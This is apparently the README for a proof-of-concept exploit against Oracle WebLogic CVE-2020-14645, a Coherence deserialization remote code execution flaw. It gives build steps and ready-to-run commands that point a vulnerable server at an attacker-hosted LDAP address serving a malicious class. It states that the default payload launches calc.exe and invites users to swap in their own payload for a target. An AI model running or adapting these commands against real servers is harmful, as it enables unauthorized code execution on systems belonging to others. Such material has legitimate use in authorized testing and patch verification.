
Java PoC for WebLogic CVE-2020-14645 Coherence deserialization RCE. Hosts a malicious class via LDAP and triggers remote code execution on vulnerable WebLogic servers.
Maven 3
JDK 1.8
mvn package
Specific testing steps:
Since this vulnerability is similar to the Apache Dubbo vulnerability, please refer to that vulnerability to implement steps 1-4.
java -jar target/CVE-2020-14645.jar LDAP_IP:LDAP_PORT/#CLASS_NAME WEBLOGIC_URL
# Example
java -jar target/CVE-2020-14645.jar 1.1.1.1:8080/#exp http://127.0.0.1:7001
java -jar target/CVE-2020-14645.jar 1.1.1.1:8080/#exp https://127.0.0.1:7002
If the POC provided in this example is used, the target under test will execute calc.exe after a successful exploit. Please modify the POC yourself according to the test target environment.
This project references and uses part of the code from the projects @Y4er and @5up3rc. Special thanks!